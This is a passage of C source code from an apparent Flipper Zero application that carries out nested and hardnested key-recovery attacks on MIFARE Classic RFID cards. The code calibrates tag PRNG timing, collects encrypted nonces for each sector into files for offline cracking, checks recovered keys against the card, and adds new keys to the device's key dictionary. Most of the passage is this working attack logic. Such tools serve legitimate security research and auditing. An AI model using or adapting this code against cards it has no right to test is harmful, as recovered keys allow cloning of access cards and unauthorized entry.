  654. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  655. nfc_deactivate();
  656. free(mf_data);
  657. free(nonces);
  658. return;
  659. }
  660. if(!mifare_nested_worker_check_initial_keys(
  661. nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  662. mifare_nested_worker->callback(
  663. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  664. nfc_deactivate();
  665. free(mf_data);
  666. free(nonces);
  667. return;
  668. }
  669. FURI_LOG_I(
  670. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  671. FuriHalNfcTxRxContext tx_rx = {};
  672. nonces->tries = 1;
  673. nonces->hardnested_states = 0;
  674. nonces->sector_count = sector_count;
  675. mifare_nested_worker->context->nonces = nonces;
  676. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  677. mifare_nested_worker->callback(
  678. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  679. for(uint8_t sector = 0;
  680. sector < sector_count && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
  681. sector++) {
  682. for(uint8_t key_type = 0;
  683. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollecting;
  684. key_type++) {
  685. Nonces* info = nonces->nonces[sector][key_type][0];
  686. if(info->collected) {
  687. FURI_LOG_I(
  688. TAG,
  689. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  690. sector,
  691. mifare_nested_worker_get_block_by_sector(sector),
  692. key_type);
  693. info->skipped = true;
  694. nonces->nonces[sector][key_type][0] = info;
  695. mifare_nested_worker->context->nonces = nonces;
  696. mifare_nested_worker->callback(
  697. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  698. continue;
  699. }
  700. while(!info->collected &&
  701. mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  702. Stream* file_stream = file_stream_alloc(storage);
  703. FuriString* hardnested_file = furi_string_alloc();
  704. mifare_nested_worker_get_hardnested_file_path(
  705. &data, hardnested_file, sector, key_type);
  706. file_stream_open(
  707. file_stream,
  708. furi_string_get_cstr(hardnested_file),
  709. FSAM_READ_WRITE,
  710. FSOM_CREATE_ALWAYS);
  711. FuriString* header = furi_string_alloc_printf(
  712. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  713. NESTED_NONCE_FORMAT_VERSION,
  714. NESTED_RECOVER_KEYS_GITHUB_LINK,
  715. !key_type ? 'A' : 'B',
  716. cuid,
  717. sector);
  718. stream_write_string(file_stream, header);
  719. furi_string_free(header);
  720. uint32_t first_byte_sum = 0;
  721. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  722. for(uint32_t i = 0; i < 256; i++) {
  723. found[i] = 0;
  724. }
  725. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  726. struct nonce_info_hard result = nested_hard_nonce_attack(
  727. &tx_rx,
  728. key_block,
  729. found_key_type,
  730. mifare_nested_worker_get_block_by_sector(sector),
  731. key_type,
  732. key,
  733. found,
  734. &first_byte_sum,
  735. file_stream);
  736. if(result.static_encrypted) {
  737. file_stream_close(file_stream);
  738. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  739. furi_string_free(hardnested_file);
  740. free(found);
  741. free(mf_data);
  742. nfc_deactivate();
  743. mifare_nested_worker->callback(
  744. MifareNestedWorkerEventStaticEncryptedNonce,
  745. mifare_nested_worker->context);
  746. return;
  747. }
  748. if(result.full) {
  749. uint32_t states = 0;
  750. for(uint32_t i = 0; i < 256; i++) {
  751. states += found[i];
  752. }
  753. mifare_nested_worker->context->nonces->hardnested_states = states;
  754. mifare_nested_worker->callback(
  755. MifareNestedWorkerEventHardnestedStatesFound,
  756. mifare_nested_worker->context);
  757. FURI_LOG_D(TAG, "Found states: %lu", states);
  758. if(states == 256) {
  759. FURI_LOG_D(
  760. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  761. bool valid = false;
  762. for(uint8_t i = 0; i < sizeof(sums); i++) {
  763. if(sums[i] == first_byte_sum) {
  764. valid = true;
  765. break;
  766. }
  767. }
  768. if(!valid) {
  769. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  770. break;
  771. }
  772. info->collected = true;
  773. info->hardnested = true;
  774. nonces->cuid = result.cuid;
  775. nonces->nonces[sector][key_type][0] = info;
  776. mifare_nested_worker->context->nonces = nonces;
  777. mifare_nested_worker->callback(
  778. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  779. break;
  780. }
  781. } else {
  782. mifare_nested_worker->callback(
  783. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  784. }
  785. }
  786. free(found);
  787. furi_string_free(hardnested_file);
  788. file_stream_close(file_stream);
  789. }
  790. }
  791. }
  792. free(mf_data);
  793. mifare_nested_worker_write_nonces(&data, storage, nonces, 1, sector_count, 0, 0);
  794. mifare_nested_worker->callback(
  795. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  796. nfc_deactivate();
  797. }
  798. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  799. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  800. Storage* storage = furi_record_open(RECORD_STORAGE);
  801. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  802. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  803. FuriString* folder_path = furi_string_alloc();
  804. FuriHalNfcDevData data = {};
  805. nested_get_data(&data);
  806. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  807. uint64_t key = 0; // Found key for attack
  808. uint32_t found_key_type = 0;
  809. uint32_t key_block = 0;
  810. uint32_t sector_count = 0;
  811. uint32_t delay = 0;
  812. uint32_t distance = 0;
  813. uint32_t tries_count = 1;
  814. FURI_LOG_I(TAG, "Running nested attack");
  815. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  816. mifare_nested_worker_write_uid_string(&data, tag_info);
  817. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  818. furi_string_free(tag_info);
  819. if(type == MfClassicType4k) {
  820. sector_count = 40;
  821. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  822. } else if(type == MfClassicType1k) {
  823. sector_count = 16;
  824. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  825. } else if(type == MfClassicTypeMini) {
  826. sector_count = 5;
  827. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  828. }
  829. furi_string_set(folder_path, NESTED_FOLDER);
  830. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  831. furi_string_free(folder_path);
  832. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  833. mifare_nested_worker->callback(
  834. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  835. nfc_deactivate();
  836. free(mf_data);
  837. free(nonces);
  838. return;
  839. }
  840. if(!mifare_nested_worker_check_initial_keys(
  841. nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  842. mifare_nested_worker->callback(
  843. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  844. nfc_deactivate();
  845. free(mf_data);
  846. free(nonces);
  847. return;
  848. }
  849. FURI_LOG_I(
  850. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  851. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  852. FuriHalNfcTxRxContext tx_rx = {};
  853. uint32_t first_distance = 0;
  854. uint32_t second_distance = 0;
  855. mifare_nested_worker->callback(
  856. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  857. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  858. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  859. first_distance =
  860. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  861. }
  862. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  863. second_distance =
  864. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  865. }
  866. if(first_distance == 0 && second_distance == 0) {
  867. nfc_deactivate();
  868. free(mf_data);
  869. free(nonces);
  870. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  871. return;
  872. }
  873. if(first_distance < second_distance - 100 && second_distance > 100) {
  874. FURI_LOG_E(
  875. TAG,
  876. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  877. first_distance,
  878. second_distance);
  879. struct distance_info info =
  880. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  881. if(info.max_prng - info.min_prng > 150) {
  882. FURI_LOG_W(
  883. TAG,
  884. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  885. info.max_prng,
  886. info.min_prng,
  887. info.max_prng - info.min_prng);
  888. delay = 1;
  889. } else {
  890. FURI_LOG_I(
  891. TAG,
  892. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  893. distance =
  894. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  895. delay = 2;
  896. tries_count = 3;
  897. }
  898. }
  899. if(distance == 0 || delay == 1) {
  900. bool failed = false;
  901. // Tag need delay or unpredictable PRNG
  902. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  903. mifare_nested_worker->callback(
  904. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  905. delay = mifare_nested_worker_predict_delay(
  906. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  907. if(delay == 1) {
  908. FURI_LOG_E(TAG, "Can't determine delay");
  909. // Check that we didn't lost tag
  910. FuriHalNfcDevData lost_tag_data = {};
  911. nested_get_data(&lost_tag_data);
  912. if(lost_tag_data.uid_len == 0) {
  913. // We lost it.
  914. mifare_nested_worker->callback(
  915. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  916. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  917. lost_tag_data.cuid != data.cuid) {
  918. furi_delay_ms(250);
  919. nested_get_data(&lost_tag_data);
  920. }
  921. mifare_nested_worker->callback(
  922. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  923. continue;
  924. }
  925. failed = true;
  926. }
  927. if(delay == 2) {
  928. FURI_LOG_E(TAG, "Can't determine delay in 10 tries, fallback to hardnested");
  929. nfc_deactivate();
  930. free(mf_data);
  931. free(nonces);
  932. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  933. }
  934. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  935. distance = nested_calibrate_distance(
  936. &tx_rx, key_block, found_key_type, key, delay, false);
  937. }
  938. if(distance == 0 && !failed) {
  939. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  940. mifare_nested_worker->callback(
  941. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  942. failed = true;
  943. }
  944. if(failed) {
  945. nfc_deactivate();
  946. free(mf_data);
  947. free(nonces);
  948. return;
  949. }
  950. tries_count = 3;
  951. }
  952. mifare_nested_worker->context->nonces = nonces;
  953. mifare_nested_worker->callback(
  954. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  955. for(uint8_t tries = 0; tries < tries_count; tries++) {
  956. for(uint8_t sector = 0; sector < sector_count; sector++) {
  957. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  958. Nonces* info = nonces->nonces[sector][key_type][tries];
  959. if(info->collected) {
  960. FURI_LOG_I(
  961. TAG,
  962. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  963. sector,
  964. mifare_nested_worker_get_block_by_sector(sector),
  965. key_type);
  966. info->skipped = true;
  967. nonces->nonces[sector][key_type][tries] = info;
  968. mifare_nested_worker->context->nonces = nonces;
  969. mifare_nested_worker->callback(
  970. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  971. }
  972. while(!info->collected) {
  973. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  974. break;
  975. }
  976. struct nonce_info result = nested_attack(
  977. &tx_rx,
  978. key_block,
  979. found_key_type,
  980. mifare_nested_worker_get_block_by_sector(sector),
  981. key_type,
  982. key,
  983. distance,
  984. delay);
  985. if(result.full) {
  986. FURI_LOG_I(
  987. TAG,
  988. "Accured nonces for sector %u, block %u, key_type: %u",
  989. sector,
  990. mifare_nested_worker_get_block_by_sector(sector),
  991. key_type);
  992. info = nonces->nonces[sector][key_type][tries];
  993. info->collected = true;
  994. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  995. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  996. memcpy(&info->parity, result.parity, sizeof(result.parity));
  997. nonces->nonces[sector][key_type][tries] = info;
  998. nonces->cuid = result.cuid;
  999. nonces->sector_count = sector_count;
  1000. nonces->tries = tries_count;
  1001. mifare_nested_worker->context->nonces = nonces;
  1002. mifare_nested_worker->callback(
  1003. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1004. break;
  1005. } else {
  1006. mifare_nested_worker->callback(
  1007. MifareNestedWorkerEventNoTagDetected,
  1008. mifare_nested_worker->context);
  1009. }
  1010. }
  1011. }
  1012. }
  1013. }
  1014. break;
  1015. }
  1016. mifare_nested_worker_write_nonces(
  1017. &data, storage, nonces, tries_count, sector_count, delay, distance);
  1018. free(mf_data);
  1019. mifare_nested_worker->callback(
  1020. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1021. nfc_deactivate();
  1022. }
  1023. bool* mifare_nested_worker_check_keys_exists(
  1024. Storage* storage,
  1025. char* path,
  1026. uint64_t* keys,
  1027. uint32_t key_count,
  1028. MifareNestedWorker* mifare_nested_worker) {
  1029. bool* old_keys = malloc(sizeof(bool) * key_count);
  1030. Stream* file_stream = file_stream_alloc(storage);
  1031. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1032. FuriString* key_strings[key_count];
  1033. for(uint32_t i = 0; i < key_count; i++) {
  1034. old_keys[i] = false;
  1035. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1036. }
  1037. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1038. FuriString* next_line = furi_string_alloc();
  1039. if(!stream_read_line(file_stream, next_line)) {
  1040. break;
  1041. }
  1042. for(uint32_t i = 0; i < key_count; i++) {
  1043. if(keys[i] == (uint64_t)-1) continue;
  1044. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1045. old_keys[i] = true;
  1046. }
  1047. }
  1048. furi_string_free(next_line);
  1049. }
  1050. for(uint32_t i = 0; i < key_count; i++) {
  1051. furi_string_free(key_strings[i]);
  1052. }
  1053. file_stream_close(file_stream);
  1054. free(file_stream);
  1055. return old_keys;
  1056. }
  1057. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1058. Stream* file_stream = file_stream_alloc(storage);
  1059. file_stream_open(
  1060. file_stream,
  1061. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1062. FSAM_READ_WRITE,
  1063. FSOM_OPEN_APPEND);
  1064. stream_write_string(file_stream, key);
  1065. file_stream_close(file_stream);
  1066. }
  1067. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1068. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1069. Storage* storage = furi_record_open(RECORD_STORAGE);
  1070. Stream* file_stream = file_stream_alloc(storage);
  1071. FuriString* next_line = furi_string_alloc();
  1072. FuriString* path = furi_string_alloc();
  1073. FuriHalNfcDevData data = {};
  1074. nested_get_data(&data);
  1075. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1076. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1077. FuriHalNfcTxRxContext tx_rx = {};
  1078. uint32_t key_count = 0;
  1079. uint32_t sector_key_count = 0;
  1080. uint64_t keys[80];
  1081. bool found_keys[2][40];
  1082. bool unique_keys[2][40];
  1083. uint32_t sector_count = 0;
  1084. if(type == MfClassicType4k) {
  1085. sector_count = 40;
  1086. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1087. } else if(type == MfClassicType1k) {
  1088. sector_count = 16;
  1089. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1090. } else if(type == MfClassicTypeMini) {
  1091. sector_count = 5;
  1092. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1093. }
  1094. uint32_t keys_count = sector_count * 2;
  1095. for(uint8_t key = 0; key < 2; key++) {
  1096. for(uint8_t i = 0; i < sector_count; i++) {
  1097. found_keys[key][i] = false;
  1098. unique_keys[key][i] = false;
  1099. }
  1100. }
  1101. for(uint8_t i = 0; i < keys_count; i++) {
  1102. keys[i] = -1;
  1103. }
  1104. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1105. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1106. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1107. file_stream_close(file_stream);
  1108. mifare_nested_worker_get_nonces_file_path(&data, path);
  1109. if(!file_stream_open(
  1110. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1111. mifare_nested_worker->callback(
  1112. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1113. } else {
  1114. mifare_nested_worker->callback(
  1115. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1116. }
  1117. file_stream_close(file_stream);
  1118. free(file_stream);
  1119. furi_string_free(path);
  1120. furi_string_free(next_line);
  1121. furi_record_close(RECORD_STORAGE);
  1122. return;
  1123. };
  1124. while(true) {
  1125. if(!stream_read_line(file_stream, next_line)) {
  1126. break;
  1127. }
  1128. if(furi_string_start_with_str(next_line, "Key")) {
  1129. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1130. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1131. atoi((char[]){furi_string_get_char(next_line, 14)});
  1132. if(!unique_keys[key_type][sector]) {
  1133. unique_keys[key_type][sector] = true;
  1134. sector_key_count++;
  1135. }
  1136. }
  1137. key_count++;
  1138. }
  1139. stream_rewind(file_stream);
  1140. key_info->total_keys = key_count;
  1141. key_info->sector_keys = sector_key_count;
  1142. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1143. if(!stream_read_line(file_stream, next_line)) {
  1144. break;
  1145. }
  1146. if(furi_string_start_with_str(next_line, "Key")) {
  1147. // Key X sector XX: XX XX XX XX XX XX
  1148. // 0000000000111111111122222222223333
  1149. // 0123456789012345678901234567890123
  1150. uint8_t keyChar[6];
  1151. uint8_t count = 0;
  1152. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1153. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1154. atoi((char[]){furi_string_get_char(next_line, 14)});
  1155. for(uint8_t i = 17; i < 33; i += 3) {
  1156. hex_char_to_uint8(
  1157. furi_string_get_char(next_line, i),
  1158. furi_string_get_char(next_line, i + 1),
  1159. &keyChar[count]);
  1160. count++;
  1161. }
  1162. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1163. key_info->checked_keys++;
  1164. if(found_keys[key_type][sector]) {
  1165. mifare_nested_worker->callback(
  1166. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1167. continue;
  1168. }
  1169. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1170. result = nested_check_key(
  1171. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1172. if(result == NestedCheckKeyNoTag) {
  1173. mifare_nested_worker->callback(
  1174. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1175. furi_delay_ms(250);
  1176. } else {
  1177. break;
  1178. }
  1179. }
  1180. if(result == NestedCheckKeyValid) {
  1181. FURI_LOG_I(
  1182. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1183. bool exists = false;
  1184. for(uint8_t i = 0; i < keys_count; i++) {
  1185. if(keys[i] == key) {
  1186. exists = true;
  1187. }
  1188. }
  1189. if(!exists) {
  1190. keys[key_info->found_keys] = key;
  1191. }
  1192. key_info->found_keys++;
  1193. found_keys[key_type][sector] = true;
  1194. }
  1195. mifare_nested_worker->callback(
  1196. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1197. }
  1198. }
  1199. furi_string_free(next_line);
  1200. file_stream_close(file_stream);
  1201. free(file_stream);
  1202. mifare_nested_worker->callback(
  1203. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1204. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1205. storage,
  1206. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1207. keys,
  1208. keys_count,
  1209. mifare_nested_worker);
  1210. for(uint8_t i = 0; i < keys_count; i++) {
  1211. if(old_keys[i]) {
  1212. keys[i] = -1;
  1213. }
  1214. }
  1215. old_keys = mifare_nested_worker_check_keys_exists(
  1216. storage,
  1217. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1218. keys,
  1219. keys_count,
  1220. mifare_nested_worker);
  1221. for(uint8_t i = 0; i < keys_count; i++) {
  1222. if(old_keys[i]) {
  1223. keys[i] = -1;
  1224. }
  1225. }
  1226. for(uint8_t i = 0; i < keys_count; i++) {
  1227. if(keys[i] == (uint64_t)-1) continue;
  1228. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1229. mifare_nested_worker_write_key(storage, key_string);
  1230. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1231. key_info->added_keys++;
  1232. furi_string_free(key_string);
  1233. }
  1234. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1235. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1236. }
  1237. furi_record_close(RECORD_STORAGE);
  1238. furi_string_free(path);
  1239. mifare_nested_worker->callback(
  1240. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1241. return;
  1242. }